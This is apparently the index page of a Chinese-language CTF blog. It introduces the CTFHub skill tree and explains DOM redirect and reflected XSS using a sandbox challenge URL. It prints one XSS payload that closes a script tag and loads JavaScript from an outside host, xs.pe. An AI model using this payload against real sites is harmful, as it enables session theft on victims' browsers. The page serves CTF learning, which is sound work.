CTF之旅（CTFHub技能树+详细Write up+持续更新ing)（首页）

### CTFHub 技能树介绍 CTFHub 是一个专注于网络安全竞赛（Capture The Flag, CTF）的学习平台，旨在帮助参与者提升在各种安全领域的能力。技能树是该平台上用于指导学习者逐步掌握不同类型的漏洞利用和技术的重要组成部分。 #### XSS 攻击中的 DOM 跳转技术 在处理特定的跨站脚本攻击（XSS）场景时，DOM跳转会涉及到URL解析和重定向逻辑。例如，在给定的例子中，通过访问带有特殊查询字符串的链接`http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800/?jumpto=http://example.com/`[^1]，JavaScript代码会读取并解析这个 URL 参数来执行相应的操作。具体来说，`.split("=")`方法被用来分割参数名称与对应的值。 #### 利用 DOM 反射型 XSS 进行攻击 另一个重要的概念是在 Web 应用程序中存在的反射型 XSS漏洞。这种类型的攻击通常发生在服务器端未正确过滤用户输入的情况下。当恶意脚本作为响应的一部分返回给浏览器时就会触发此类攻击。比如下面这段 HTML 注入的内容可以绕过某些简单的防护机制： ```html ';</script><script src=//xs.pe/6b6></script> ``` 此片段会在页面加载过程中被执行，并尝试从外部资源加载额外的 JavaScript 文件[^2]。 为了有效应对这些威胁，开发者应该始终遵循最佳实践原则，如对所有不可信的数据进行严格的验证和编码处理；同时也要不断更新自己的知识体系以跟上最新的攻防趋势。